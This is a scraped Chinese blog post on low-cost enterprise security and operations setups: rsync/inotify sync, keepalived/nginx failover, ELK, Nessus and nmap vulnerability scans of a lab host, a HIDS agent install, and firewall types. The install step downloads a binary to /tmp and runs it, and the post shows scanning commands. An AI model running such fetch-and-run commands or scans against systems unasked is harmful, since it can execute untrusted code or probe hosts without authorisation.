9
10
11
12
先在主机A中创建一个新的文件2.txt，然后执行：

[root@localhost node2]# rsync -avz root@192.168.150.134:/data/node1/* /data/node2/

receiving incremental file list

2.txt

sent 30 bytes  received 71 bytes  202.00 bytes/sec

total size is 0  speedup is 0.00

直到上述，rsync 服务已经搭建完成，但 rsync 自身不具备实时同步的能力，下面利用 inotify 组件监控主机B的文件是否有变化，当出现变化时就执行 rsync 同步从而实现实时备份效果，如果需要实现双向同时备份效果，可以参考 unsion 组件的配和使用。

​ 4.1 在主机B上安装 wget 和 gcc 编译器

​ 4.2 在主机B上安装 inotify 组件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
wget http://github.com/downloads/rvoicilas/inotify-tools/inotify-tools-3.14.tar.gz

tar -zxvf inotify-tools-3.14.tar.gz

cd inotify-tools-3.14/

yum -y install gcc

./configure && make && make install

[root@localhost inotify-tools-3.14]# inotifywa，按下tab键，返回：

inotifywait，该指令用于长期监控，实时输出结果 

 inotifywatch ，该指令用于短期监控，任务完成之后输出结果

​ 4.3 使用 -mqme 参数，测试 inotifywait 指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[root@localhost inotify-tools-3.14]# inotifywait -mrq -e modify,delete,create,move /data/node2/

打开新终端窗口，对目录下的文件做读写等操作，原先的终端则会出现下面的信息

/data/node2/ CREATE .2.txt.swp

/data/node2/ CREATE .2.txt.swx

/data/node2/ DELETE .2.txt.swx

/data/node2/ DELETE .2.txt.swp

/data/node2/ CREATE .2.txt.swp

/data/node2/ MODIFY .2.txt.swp

/data/node2/ MODIFY .2.txt.swp

/data/node2/ DELETE .2.txt.swp

/data/node2/ MODIFY 2.txt

/data/node2/ MOVED_FROM 2.txt

/data/node2/ MOVED_TO 2222.txt

​4.4 通过 ACL 策略修改 nobody 用户对主机A/data/node1 的权限，而且检查/etc/rsyncd.conf 中的 read only 是否为no

[root@localhost node1]# getfacl /data/node1/
getfacl: Removing leading ‘/‘ from absolute path names

file: data/node1/
owner: root
group: root
user::rwx
user:nobody:rwx
group::r-x
mask::rwx
other::r-x

  1. 5编写脚本，监控目录变化触发 rsync 服务
1
2
3
4
5
6
7
8
9
10
[root@localhost ~]# cat rsync.sh 
#!/bin/bash
trigger="/usr/local/bin/inotifywait -mrq -e modify,delete,create,move /data/node2/"
action="/usr/bin/rsync -avz /data/node2/* h0u5er@192.168.150.134::node1"

$trigger | while read file
do
$action
done

效果如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
[root@localhost ~]# ./rsync.sh &
[1] 11270
[root@localhost ~]# cd /data/node2/
[root@localhost node2]# ls
1.txt
[root@localhost node2]# echo i am h0u5er > 1.txt 
[root@localhost node2]# sending incremental file list
1.txt

sent 78 bytes  received 27 bytes  42.00 bytes/sec
total size is 12  speedup is 0.11

[root@localhost node2]# touch 2.txt
[root@localhost node2]# sending incremental file list
2.txt

sent 76 bytes  received 33 bytes  43.60 bytes/sec
total size is 12  speedup is 0.11

[root@localhost node2]# mv 2.txt 3.txt
[root@localhost node2]# sending incremental file list
3.txt

sent 76 bytes  received 27 bytes  41.20 bytes/sec
total size is 12  speedup is 0.12

[root@localhost node2]# sending incremental file list

sent 40 bytes  received 8 bytes  19.20 bytes/sec
total size is 12  speedup is 0.25

[root@localhost node2]#

3.1.3 负载均衡

负载均衡对于运维人员来说是一门大学问，它可分为二层、三层、四层、七层的负载均衡，常见会在四层和七层做负载，两者的技术原理不一样。本次设计的的负载均衡只要是指七层的，

四层是基于 IP+端口的实现负载，只有一个用户到服务器之间的独立 TCP 连接建立。在三层的基础上加上端口记录的 NAT 转发，转发流量时记录 TCP 或 UDP 的流量是哪一台服务器进行处理 ，后续的连接流量仍然会将数据转发到同一台服务器进行处理。但四层的负载不支持 http、mysql、ftp 这样的协议。常见的的做四层负载的方案有：部署类似 F5 的硬件负载均衡产品，钱花了效果也出来了；部署重量级 的 lvs 或者轻量级的 Nginx 负载均衡软件，也可以试试 haproxy 做四层的负载。

七层基于虚拟 url 或者主机 IP 实现负载，它可以根据浏览器类别、系统语言、URL、端口等等进行规则匹配从而执行负载策略，可以通过 apache、Nginx、Lighttpd 等软件实现负载。七层负载均衡会建立两个独立的 TCP 连接，分别是用户到负载均衡和负载均衡到服务器，基于这个特点，七层的负载能防御类似 SYN Flood 的 Denial of Service 攻击，而且可以很好的隐藏服务器真实地址，当然也能实现过滤 SQL Injection 语句、HTTP 协议优化与加速等功能。

讲到七层协议就离不开 HTTP 协议和网站服务器的架构，架构发展史的故事请看知乎答主xlzd的回答，下面我们就按照 Keepalived 和 Nginx 配合使用实现负载均衡和高可用。

serverApacheNginxLighttpd
Proxy代理非常好非常好一般
Rewriter好非常好一般
Fcgi不好好非常好
热部署不支持支持不支持
系统压力比较很大很小比较小
稳定性好非常好不好
安全性好一般一般
静态文件处理一般非常好好
反向代理一般非常好一般

Keepalived 是 Linux 下面实现 VRRP 备份路由的高可靠性运行件。基于 Keepalived 设计的服务模式能够真正做到主服务器和备份服务器故障时 IP 瞬间无缝交接。假设你家唯一的路由器出现问题了，是不是就没办法上网了？VRRP 路由协议就是解决这样的问题：将若干个路由器视为一个整体提供路由功能，并且引入虚拟 IP 的概念，抢占到这个虚拟 IP 路由器就是 master，处于正常工作状态，其他都是 slave ，处于待命状态，当 master 出现问题的时候就会在 slave 中选举一个新的 master 接替工作，选举制度和优先级什么的都可以利用 VRRP 路由协议实现。Keepalived 也是类似的工作原理，它包括负责主进程启动、维护进程和全局配置文件加载的 core 模块、负责健康检查的 check 模块、负责 VRRP 协议的 vrrp 模块。

Nginx 就不多说了，第一步先到官方拿 yum 源安装 Nginx 和 Keepalived，接着安装编译工具和库文件，通过这种方法安装的话系统会多一个 Nginx 用户。

1
[root@localhost ~]#  yum -y install gcc gcc-c++ make automake autoconf libtool pcre pcre-devel zlib zlib-devel openssl openssl-devel

参考官方提供的负载均衡 upstream 模块，选择 ip_hash ，它是基于客户端IP地址完成请求的分发，它可以保证来自于同一个客户端的请求始终被转发至同一个 upstream 服务器，每个请求按访问ip的hash结果分配，这样每个访客固定访问一个后端服务器，可以解决session的问题 。默认配置是使用 round robin 负载均衡模块，这种是每个请求按时间顺序逐一分配到不同的后端服务器，如果后端服务器 down 了，能自动剔除。接下来，开始配置 keepalived 服务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
[root@localhost ~]# yum -y install keepalived
[root@localhost ~]# keepalived -v
Keepalived v1.3.5 (03/19,2017), git commit v1.3.5-6-g6fa32f2

[root@localhost ~]# cat /etc/keepalived/keepalived.conf  以master主机为例子，slave中的部分配置不一样
! Configuration File for keepalived
vrrp_script chk_nginx {
     script "/etc/keepalived/nginx_check.sh"   //这里会调用一个监控nginx状态的脚本
     interval 2                //检测的时间间隔 2s
     weight -20                //如果脚本的条件成立，权重-20
  }
vrrp_instance VI_1 {
    state MASTER        //服务状态，MASTER（工作状态）BACKUP（备用状态）
    interface ens33    
    mcast_src_ip 192.160.150.138   //本机IP地址
    nopreempt               //优先级高的设置，解决异常回复后再次抢占的问题
    virtual_router_id 51    //虚拟路由ID，主、备节点必须一致
    priority 100            //优先级；取值范围：0~254；MASTER > BACKUP 即可，这里另一台备机配置为 90
    advert_int 1            //组播信息发送间隔，主、备节点必须一致，默认1s
    authentication {
        auth_type PASS        //VRRP验证类型，PASS、AH两种
        auth_pass 1111        //VRRP验证密码，在同一个vrrp_instance下，主从必须使用相同的密码
      }
    }
track_script {                //将track_script块加入instance配置块
 chk_nginx
    }
    virtual_ipaddress {         //虚拟IP池，主备节点必须一致，可以定义多个虚拟IP
        192.168.150.201
    }
}

[root@localhost ~]# cat /etc/keepalived/keepalived.conf
! Configuration File for keepalived

vrrp_script chk_nginx {
     script "/etc/keepalived/nginx_check.sh"
     interval 2              
     weight -20            
  }

vrrp_instance VI_1 {
    state BACKUP
    interface ens33
    mcast_src_ip 192.160.150.139
    nopreempt
    virtual_router_id 51
    priority 90
    advert_int 1
    authentication {
        auth_type PASS
        auth_pass 1111
    }
track_script {
 chk_nginx
    }
    virtual_ipaddress {
        192.168.150.201
    }
}

[root@localhost ~]# cat /etc/keepalived/nginx_check.sh   //用于监控nginx的脚本
#!/bin/bash
  A=`ps -C nginx –no-header |wc -l`
  if [ $A -eq 0 ];then
          /usr/sbin/nginx
          sleep 2
          if [ `ps -C nginx --no-header |wc -l` -eq 0 ];then
                  killall keepalived
          fi
  fi

上图是部署完毕之后的测试效果，使用虚拟 IP 可以直接访问主节点服务器，讲到这里我们低成本的思路就呼之欲出了，那就是普通情况下，我们的主备机器都能承载业务。分担服务器的压力，两台主备服务器还可以使用上面的 rsync 同步数据。当其中一台机器出现故障时候，根据 VRRP 协议能自动切换。如果实在是没有两台主备机器的资源，那 ngxin 和其他主 Web 服务一样支持虚拟主机功能，即一台主机可以运行场景设定中的业务和社区两个的独立网站，但还是不推荐把鸡蛋都放在一个篮子里。

关于 keepalived 的效果可以用浏览器或使用 ip add 命令验证下面两种情况：

  • 关闭 192.168.150.138 （主）节点的 nginx01 服务，keepalived 会自动重启 nginx 服务；

  • 关闭 192.168.150.138 （主）节点的 keepalived 服务，虚拟 IP 会漂移到 nginx02 (备) 节点 ；

3.1.4 运维审计

巡风是一款适用于企业内网的漏洞快速应急，巡航扫描系统。我喜欢拿巡风处理资产管理管理，巡风的开发者们友好的为懒癌用户提供安装脚本，并且全方位的支持Windows、Linux、docker和 OSX 系统。后文介绍的 IDS 系统同样也是由同程安全应急响应中心开源。

点击查看巡风演示视频

Jumpserver是全球首款完全开源的堡垒机，是符合 4A 的专业运维审计系统。

最开始的堡垒机仅仅具备跳板的功能，并没有办法实现审计和控制的功能。现在的堡垒机是一种运维安全审计系统，而且具备比较高的权限，运维人员必须通过授权账号登录堡垒机才能管理后端的设备，所以配置堡垒机的时候要考虑单点故障的问题。JumpServer 的 UI 设计非常清爽，他的功能很适合我们一开始设定的场景和拓扑结构，而且终于支持Windows RDP，使用的时候我们先在企业内网（可选择用加密连接）登陆部署在云端的堡垒机，堡垒机通过云端内部网络IP管理其他设备，所以云端的内网通信需要配置放行策略。它的具体安装步骤请移步官方ReadMe.md或者图解说明。

3.1.5 数据分析

安全审计作为信息安全工作必不可少的一环。文章“ELK的快速部署”便是博主在 ESXI 6.5 的虚拟化环境完成测试的。整机配置为单核 Intel E5-2620v3，12GB RAM，1TB 7200转机械硬盘；测试环境的拓扑关系如下：

IPHostnamePackets
192.168.1.201host01elasticsearch-6.0.0.zip、logstash-6.0.0.zip、kibana-6.0.0-linux-x86_64.tar.gz、jdk-8u144-linux-x64.rpm
192.168.1.204host04filebeat-6.0.0-linux-x86_64.tar.gz、nginx-1.12.2-1.el7_4.ngx.x86_64

实验过程仅采用本站的web日志文件做测试，具体 EPS 均值尚未计算，基本功能是可用的。如果具备更好的硬件生产资源的话，可以把 ELK 升级为 Flume+Kafka+ Elasticsearch+Storm 这样的方案，使得架构具有良好的实时性、容错性和拓展性，而且这些组件都是开源使用。也有人利用 splunk 结合蜜罐系统与防火墙 API 接口做成一个 WAF，可进行邮件告警。

3.1.6 网站防护

实习的时候，同事安利了一个免费版政府网站综合防护系统，免费版支持简单的服务器检查和网站检查，免费版申请的手续比较麻烦，需要绑定微信+手机号码，似乎相关部门还能通过代理看到你的网站情况。同样的免费版产品还有安全狗、360网站卫士，毕竟天下没有免费的午餐，免费产品的取舍就要各位自己的斟酌了。

3.2 私有部署

3.2.1 虚拟化

云端的主机问题解决了，那么看看 IDC 机房的主机问题，这一部分避免不了花钱购买一些服务器，利用虚拟化技术我们可以提高单台服务器 CPU 的使用率，据说能省一点电费。这里采用的是ESXI，先到官方下载合适ISO镜像（我的Chrome每次打开官网都有问题），然后使用软碟通制做USB启动盘后，利用U盘给服务器安装虚拟化程序。安装操作就不叙述了。我试过遇到安装失败的问题，原因是镜像内没有合适该服务器网卡的驱动包。安装完毕之后用web端或者vSphere client端登录并管理，需要提醒各位的是：ESXI免费版与付费版是有区别的。

ESXi 免费版的限制包括：

  1. 无法使用 vCenter Serve 管理平台；
  2. 最多支持2个CPU的主机；
  3. 虚拟的主机最大支持8个CPU；
  4. 没有 VMware 的售后支援服务；

3.2.2 扫描工具

作为一个资深伸手党的脚本小子，扫描工具要多少有多少少，有好有坏，丰俭由君。首先老牌的 Nessus Home 版本是免费使用,但是不可避免有一些功能上的限制。官网的数据展示 Nessus Evaluation 版本每台主机只能扫描16个内网IP地址。其次也限制了扫描计划、配置检查、相关合规检查等功能。

Tenable permits you to use Nessus to scan third-party networks, but you must use a licensed version of the product. Nessus Home cannot be used for consulting commercially。

进入官网简单填写资料获取 Activation Code，然后结合实际情况选择需要下载的版本，我就选择 Nessus-7.0.2-es5.x86_64.rpm 下载，尽量避免发生运维环境里面充斥着 Centos+debian+ubuntu+suse+windows 的多系统情况。下面使用Centos7进入安装步骤。

[root@localhost Downloads]# rpm -ivh Nessus-7.0.2-es5.x86_64.rpm
警告：Nessus-7.0.2-es5.x86_64.rpm: 头V3 DSA/SHA1 Signature, 密钥 ID edc8e186: NOKEY
准备中… ################################# [100%]
正在升级/安装…
1:Nessus-7.0.2-es5 ################################# [100%]
Unpacking Nessus Core Components…

1
2
3
4
5
6
```

[root@localhost Downloads]# **/sbin/service nessusd start**

Starting nessusd (via systemctl):                          [  确定  ]
[root@localhost Downloads]# **/sbin/service nessusd start
1
 
1

按照指示用浏览器打开页面，配置账号与密码分别都是H0u5er，然后提示选择版本和激活码，最后进入initializing初始化阶段。常见的问题应该是插件的更新失败，如果在线更新失败可以考虑离线更新插件或者使用梯子服务，具体办法度娘上有大佬们的解决方案。

此外，利用 Nmap 实现轻量级漏洞扫描功能，不过我感觉这种方便误报率比较大，而且报告不容易分析。为了方便我还是在这一台Centos7上安装 Nmap。接着我们利用 vulscan 检测目标主机的漏洞信息，需要把脚本放到对应的目录内，由于我采用的是 yum 源安装 Nmap，所有对应目录就是/usr/local/share/nmap/script/vulscan。

两个漏洞扫描工具都安装完毕之后，我启动了一台 Windows7 x64 旗舰版 ，Version 6.1.7601 Service Pack 1 作为检测对象，安装了KB4054022、KB4056887、KB4074595、KB4074608、KB4087256、KB4074588合计六个补丁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[root@localhost vulscan]# nmap -sV --script=vulscan/vulscan.nse 192.168.150.132

Starting Nmap 7.60SVN ( https://nmap.org ) at 2018-03-14 13:36 CST

SERVICE/VERSION DETECTION:

  -sV: Probe open ports to determine service/version info

  --version-intensity <level>: Set from 0 (light) to 9 (try all probes)

  --version-light: Limit to most likely probes (intensity 2)

  --version-all: Try every single probe (intensity 9)

  --version-trace: Show detailed version scan activity (for debugging)

Nmap 扫描的部分结果：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
| [101018] Windows SharePoint Services detection
| [101017] Microsoft MS03-018 security check
| [101016] Microsoft MS03-022 security check
| [101015] Microsoft MS03-034 security check
| [101014] Microsoft MS00-078 security check
| [101012] Microsoft MS03-051 security check
| [101010] Microsoft Security Bulletin MS05-004
| [101009] Microsoft Security Bulletin MS06-033
| [101007] Microsoft dotNET version grabber
| [101006] Microsoft Security Bulletin MS06-056
| [101005] Microsoft Security Bulletin MS07-040
| [101004] Microsoft MS04-017 security check
| [101003] Microsoft MS00-058 security check
| [101000] Microsoft MS00-060 security check

同时也简单的使用了 w3af 这款可以针对 owasp top 10 进行扫描的开源工具，效果还是比较满意，尤其是支持 HTML 和 CSV 格式的报告输出。就不继续写了，扫描工具真的太多太多了，安装是使用应该难度不大，管理员应该针对网络的情况定期执行扫描，毕竟漏洞是自己发现的总比别人发现的好。

1
2
3
4
5
6
7
yum install python-pip
yum install libxml2-devel libxslt-devel openssl-devel python-devel
git clone git clone --depth 1 https://github.com/andresriancho/w3af.git
cd w3af
./w3af_console
/tmp/w3af_dependency_install.sh
如果安装lxml有问题 执行 sudo CFLAGS="-O0" pip install lxml 重新安装

3.2.3 检测系统

入侵检测系统，简称 IDS ( Intrusion-detection system )，对应的还有入侵防御系统，简称 IPS （Intrusion Prevention System ），从字面上就能发现 IDS 侧重检测，IPS 侧重防御。我个人的观点认为 IDS 适合像金融机构、医疗行业这样对网络比较敏感的行业，用检测和告警为主要手段而不是直接拦截，这是因为大多数的安全产品都会有误报的概率，不合理的拦截或者防御策略会影响用户体验。另外不是说只有 IDS 就完事了，IPS 也是必须的，许多 IPS 可选关闭防御功能变成IDS 模式，常见的 IDS 都是以旁路部署为主，而 IPS 或 防火墙都是串联到核心交换做流量过滤。结论就是买到一款适合企业的安全产品并不是一件容易的事情，既要清楚自身需求，又要了解到市场目前的解决方案，可能还少不了牺牲一些用户体验。本次设计因为是以低成本为主题，所以我参考了 Snort 、OSSIM 和 yulong-hids，Snort 和 OSSIM 的文章在互联网已经非常丰富，这里就不介绍了。之前安装最新版 OSSIM ，发现普通性能的测试机没办法带的动 OSSIM，同一天看到由 YSRC 开源的主机入侵检测系统的简介，于是乎在谷歌云进行部署，过程中引发 ssh 断连问题，已经提交 issues，所有本次测试是在 vmware 虚拟机中用docker 方式安装，测试环境不推荐以 docker 方式部署。

第一步，安装 docker-compose 和 docker-ce 等环境，版本要求见 YSRC 的 README

[root@localhost ~]# docker-compose –version
docker-compose version 1.21.0, build 5920eb0

第二步，在 Web 页面配置。初始化规则使用默认的 rules.json，先传个 Linux 64位版本 zip 包，下一步生成证书之后重启 docker。

第三步，部署 agent，首先 Linux 64位需要依赖 libpcap 包，安装命令可以直接复制 Web 界面提供的代码

linux-64 : wget -O /tmp/daemon http://192.168.150.140:80/json/download?type=daemon\&system=linux\&platform=64\&action=download;chmod +x /tmp/daemon;/tmp/daemon -install -netloc 192.168.150.140

第四步，自行探索更多功能，主要是规则

3.2.4 常见服务

暂未补充。

3.2.5 防火墙

防火墙有那么几个类型：Packet filtering firewalls 、Stateful inspection firewalls、Application-level gateways、Circuit-level gateways 和Next-gen firewalls 。

包过滤防火墙，它是针对数据包的头部进行策略匹配，然后再根据设计的规则进行下一步操作。包过滤防火墙可以分为无状态包过滤和有状态包过滤两种模式。如果防火墙不记住关于传递数据包的信息，则此类过滤称为无状态的数据包过滤，如果防火墙记住关于以前通过的数据包的信息，则该类型的文件环是有状态的数据包过滤。

If the information about the passing packets is not remembered by the firewall, then this type of filtering is called stateless packet filtering.

If the firewall remembers the information about the previously passed packets, then that type of filering is stateful packet filtering

就无状态包过滤防火墙而言，攻击者可以构造特殊的UDP数据包对防火墙绕过或者欺骗行为，原因就在于无状态包过滤防火墙并不会参考以前的数据包做允许/拒绝的判断。包过滤防火墙主要会检查数据包的一下内容：

  1. 源IP地址；攻击者可以修改数据包的源IP地址来欺骗防火墙，同时攻击者依然能利用伪造的IP映射到自己的IP。
  2. 目标IP地址；防火墙规则应该检查IP地址而不是DNS名称，而且还能防止滥用DNS。
  3. IP协议号；
  4. TCP/UDP端口号；
  5. ICMP信息类型；
  6. Fragmentation字段；
  7. IP选项字段；

关于数据包的封装和解封装的过程，涉及到PDU（协议数据单元）和 ISO 7层模型的知识。每一层使用自己层的协议和别的系统的对应层互相通信，每一层的协议在对等层之间交换的信息叫做PDU。每一层都有自己的PDU，封装就是构建自己那一层的PDU。无状态的包过滤防火墙有一些缺点，比如只能针对网络层和传输层进行防护、过滤规则存储空间有限或者规则冗长导致性能下降、无法对用户身份进行验证、边界限制能力弱、无法应对以TCP响应的形式从外部对内部进行穿透等等。

为什么有些人会把状态检测防火墙与传统包过滤放防火墙独立出来？这要从关键的连接状态表考虑。传统的无状态包过滤防火墙对于信息的处理并没有上下关联的关系，所有会导致下面三点问题：

  1. 当应用需要动态协商网络通信的时候，比如FTP协议使用的时候还临时开启了20端口，如果规则未放行20端口，那么将导致无法建立连接。
  2. 当别人访问无状态包过滤防火墙时，我开放什么端口，或者怎么隔离，这些措施需要管理员配置；
  3. 传统的无状态包过滤防火墙自身对其他网络的访问时，也需要管理员配置放行策略，而且需要知道访问网络的IP与端口情况；

状态检测防火墙，相当于包过滤防火墙的有状态过滤模式，同样工作在网络层和传输层。这种技术就能很好的解决上述的第一条和第二条问题，管理员只需要配置放行的初始对外流量，而不需要关心其他方向的流量流入和流出的情况，即便配置拦截回程的ACL（来回路径一致），防火墙依然会根据查询状态表记录而放行返程流量建立TCP连接。状态检测技术是由安全厂家 Checkpoint 提出的。传统的包过滤防火墙只是通过检测IP包头的相关信息来决定数据流的通过还是拒绝，而状态检测技术采用的是一种基于连接的状态检测机制，将属于同一连接的所有包作为一个整体的数据流看待，构成并维护连接状态表，通过规则表与状态表的共同配合，对表中的各个连接状态因素加以识别。这里动态连接状态表中的记录可以是以前的通信信息，也可以是其他相关应用程序的信息，一个良好的状态检测防火墙应该还具备：良好的日志记录、友好的 GUI 或者语法来支持用户进行规则的配置、合理的规则匹配顺序等等。因此，与传统包过滤防火墙的静态过滤规则表相比，它具有更好的灵活性和安全性。同样它也具备一些缺点：

  1. 如果状态表记录建立过程中，数据的来回路径不一致，可能导致防火墙状态表无法正常建立，导致用户与服务器无法建立连接；
  2. 某些应用或程序，在进行TCP三次握手过程中存在类似SYN没有置位的连接请求。默认情况下的状态检测防火墙是会拒绝请求，阻断用户与服务器建立连接；

应用级防火墙，工作在应用层。它可以完全断绝内网和外网的通讯，通讯的流量变成了防火墙访问外网，防火墙收到响应之后再转发给内外对应的主机。所有通信都必须经应用层代理软件转发（相当于proxy），访问者任何时候都不能与服务器建立直接的 TCP 连接，应用层的协议会话过程必须符合代理的安全策略要求。应用级防火墙具备web cache功能，但是对于目前的网络架构而言意义不大。应用级防火墙还能深度的匹配内容和进行流量清洗。对比普通的防火墙或者核心防火墙，我们更倾向于使用更专业应用级防火墙来深度防护web服务器，譬如WAF，这意味着访问者先访问了WAF建立TCP连接（访问者认为这就是Web服务器的真实地址），然后WAF再与Web服务器进行TCP通信，期间就包括了流量检查和防御的功能。应用级防火墙的缺点非常突出：

  1. 主机都需要通过应用级防火墙转发请求，必然的导致一定的性能压力，需要合理考虑 DMZ 区的应用情况。

  2. 防火墙的单点故障可能应用导致无法连接外网或业务中断；

  3. 应用防火墙可以在网络层、传输层和应用层工作，对配置策略的工作将是一件有难度的事情，不同协议和数据都需要不同的策略，所以管理员需要对应用层的协议和相关安全问题有一定的知识储备；

电路级网关，也叫做线路级网关，工作在会话层。电路级网关提供NAT功能，对外部而言可以很好的保护内部IP地址的情况。目前厂家的电路级网关产品里还会包括：用户接入认证和带宽管理等功能。

Packet filters（stateless）Application GatewayCircuit level Gateway
Simple and least secureMost secure approachMore secure than packet filter but not as secure as application gateway.
Many routers provide this functionalityUnique program for each applicationRelay TCP connections
Passes or rejects packets based on rulesgood for authentication and loggingPermission granted by port address
Hard to manageNot always transparent to usersNo application level checking
Easy to make mistakesUsed for email, FTP, TELNET, WWWCan understand what is carried in the packet.

传说中的下一代防火墙，下一代防火墙的概念最早由Palo Alto提出。说是下一代，我的认为它更像是上一代各种技术的融合与优化。在网络使用越多也多、网络拓扑越来越复杂的时代，应用端口号不等于启用应用服务，数据包的IP地址不等于使用者的IP地址，数据内容字段可能不仅仅就是单纯的用户数据。想象一个场景：

你们公司是根据不同楼层和楼层的区域划分了VLAN，但是有一天某部门的办公室装修，需要临时到某个接待室办公一段时间，那么如何保证茶水间的网络只能由运维人员接入，而且访客和其他员工无法接入？

传统的办法就是重新登录到交换机上做VLAN划分并且实行MAC地址绑定，判断访客的无线接入到特定的隔离区域。如果公司的接入控制策略是在下一代防火墙进行控制的话，那么就无需担心上述的问题，因为用户的识别不用再跟着网段走，而且精确到用户的上网认证账号或者MAC信息，而应用的识别还可以精细到应用的某个功能，比如只允许QQ发送消息和图片而不能传输文件，把控制和分析粒度更加细化。

实习的第一天，老板就领着我参加了某安全厂家的产品分享会，里面就讲到了下一代防火墙。这里不得不提出现在下一代防火墙之前的 UTM 时代。最传统的安全拓扑结构，是流量经过出口网关，再经过防火墙，再经过反病毒，再经过IPS/IDS，如此串行的部署关系，思科称之为“深度防御”，即便你绕过了我的防火墙，后面还有各种安全设备继续防御。而 UTM （统一威胁防控）的思路就是把所有的安全功能模块融为一体，同一个硬件设备中内置防火墙、入侵检测、反病毒、负载均衡等功能，用户可以按需打开并配置对应的功能即可，极大简化了拓扑并且增强综合防御能力。听起来是不错，但是有一个巨大的坑，过多的功能极大的拖慢了 UTM 的性能，因为 UTM 处理数据包是流程是这样的：

  1. 数据流入安全模块A，解包检查，匹配规则，完成检查（假如正常），封包转发到下一个模块；
  2. 数据流入安全模块B，解包检查，匹配规则，完成检查（假如正常），封包转发到下一个模块；
  3. 数据流入安全模块C，解包检查，匹配规则，完成检查（假如正常），封包转发到下一个模块；
  4. 同上循环。
  5. 完成全部开启模块检查，放行数据进入下一跳网络；

那么下一代防火墙处理数据的流程就变成了：

  1. 数据流入下一代防火墙，按照规定的统一格式进行解包；
  2. 各个功能模块按自己的设定，并发检查，匹配规则；
  3. 全部检查完毕正常的话，放行数据进入下一跳；

瞬间简化了处理流程，所以性能嗖一下就上去了，安全策略也不再是独立存在某个模块中。无论是 UTM 还是下一代防火墙都会使用到状态检测包过滤的技术，现在核心防火墙的吞吐和转发能力，足以媲美甚至超越核心交换机。核心交换机的控制不能精细到应用吧，不能自主的学习各种协议吧，不能根据数据内容做决策吧，不能基于用户做负载均衡吧，因此下一代防火墙顺其自然成为了目前市场的主流产品之一。下一代防火墙处理的数据涉及到IPS、IDS、AV、FW、用户识别、内容识别、负载均衡等等领域的知识，如果厂家的基本功不到位的话，极有可能就直接 OEM 了，所以也导致了市面上的安全产品质量参差不齐，比如 A 厂家和 B 厂家都是照搬 C 厂家提供的特征库。

下面开始配置呼声最高的 pfSense ，过程中遇到了一个坑，在虚拟机环境下，WAN和LAN的自动识别好像出了问题，LAN一直识别成NAT模式的网卡，而WAN识别成了VMnet2的网卡。我差点给气死了，后面重新安装镜像，网卡配置如下图，最后通过assign interfaces选项，终于把WAN配置为自动获取nat网卡的dhcp，LAN配置为手工地址192.168.2.254,并且配置DHCP服务分配200-250的主机号。phSense还支持修改https登录，防火墙性能限制等功能，最核心的还是可以自己写访问控制策略。

3.2.6 其他

暂未补充。

四、结束语

难为你们看完了这一份没有含金量的文章，历时一个月的编写过程，收获非常多东西，也看到了自己的不足。非常感谢过程中各位的老师、朋友、网友的指导，在阅读过程发现有任何问题，欢迎一起探讨。最后祝各位信息安全圈子的大佬们工作顺利，永不宕机！

五、参考资料

安全产品替代方案 http://www.freebuf.com/sectool/157699.html

防火墙分类 http://searchsecurity.techtarget.com/feature/The-five-different-types-of-firewalls

防火墙分类 http://www.excitingip.com/205/what-are-packet-filtering-circuit-level-application-level-and-stateful-multilayer-inspection-firewalls/

下一代防火墙选购 http://www.freebuf.com/articles/network/155560.html

Centos Firewalld 配置 https://www.linode.com/docs/security/firewalls/introduction-to-firewalld-on-centos/

W3AF 入门指南 https://www.jianshu.com/p/ab692142d275

同程开源驭龙 https://github.com/ysrc/yulong-hids/blob/master/docs/install.md

执行命令监控驱动实现解析 http://mp.weixin.qq.com/s/ntE5FNM8UaXQFC5l4iKUUw

ES 5.0 排错指南 https://blog.csdn.net/qq942477618/article/details/53414983

ELK的拓展和测试方案 https://github.com/chenryn/ELKstack-guide-cn/blob/master/elasticsearch/testing.md

25K/EPS的ELK https://engineering.viki.com/blog/2015/log-processing-at-scale-elk-cluster-at-25k-events-per-second/

]]> https://www.h0u5er.com/graduation/ 2018-04-30T16:00:00.000Z 文章结构

目录：

  1. 事先准备与环境介绍
  2. ES
  3. Kibana
  4. Logstash
  5. Filebeat
  6. Reference

听说6.0版本出来了，人有多大胆，版本就能刷多快，于是乎某强迫症就把集群全部挂了（主要是没有生产数据）。学习新知识的时候看官方指南确实很有效，然后人就疯了。上一篇文章基于强迫症，已删，在下方提供原文下载。

图片来自shildon.leanote.com

step1,事先准备与环境介绍

环境依然是 ESXI 6.5虚拟化下的64位Centos 7系统，这一次采用zip和tar包安装，方便管理。拓扑关系如下：

IPHostnamePackets
192.168.1.201host01elasticsearch-6.0.0.zip,logstash-6.0.0.zip,kibana-6.0.0-linux-x86_64.tar.gz,jdk-8u144-linux-x64.rpm
192.168.1.204host04filebeat-6.0.0-linux-x86_64.tar.gz,nginx-1.12.2-1.el7_4.ngx.x86_64

step2,ES

[root@host01 elasticsearch-5.6.4]# cat config/elasticsearch.yml | grep -v “^#”
cluster.name: cluster01
node.name: node01
bootstrap.memory_lock: false
network.host: 192.168.1.201
http.port: 9200
discovery.zen.ping.unicast.hosts: [“192.168.1.201”]
discovery.zen.minimum_master_nodes: 1
[root@host01 elasticsearch-5.6.4]#

运行ES后，打开浏览器或者输入命令，检查ES状态：

[root@host01 ~]# curl -XGET ‘192.168.1.201:9200/?pretty’

step3,kibana

[root@host01 config]# cat kibana.yml | grep -Evn “^$|#”
7:server.host: “192.168.1.201”
21:elasticsearch.url: “http://192.168.1.201:9200“
[root@host01 config]#

step4,logstash

估计ELK中，最难理解和操作的就是logstash的部分，因为grok这玩意听说和正则有点不一样。这一部分也是我学习的重点，官方的图很好的解释logstash用途

1
>bin/logstash -e 'input { stdin { } } output { stdout {} }'  //简单的屏幕会回显数据

配置logstash的ssl证书，看资料的时候发现Ubuntu和centos的配置细节上略有差异，但是逻辑上要做的事情是一样的。配置ssl证书有基于IP的和基于域名的，域名需要使用FQDN，我是centos7基于IP的ssl生成，先修改/etc/pki/tls下openssl.cnf

subjectAltName=ip:192.168.1.201

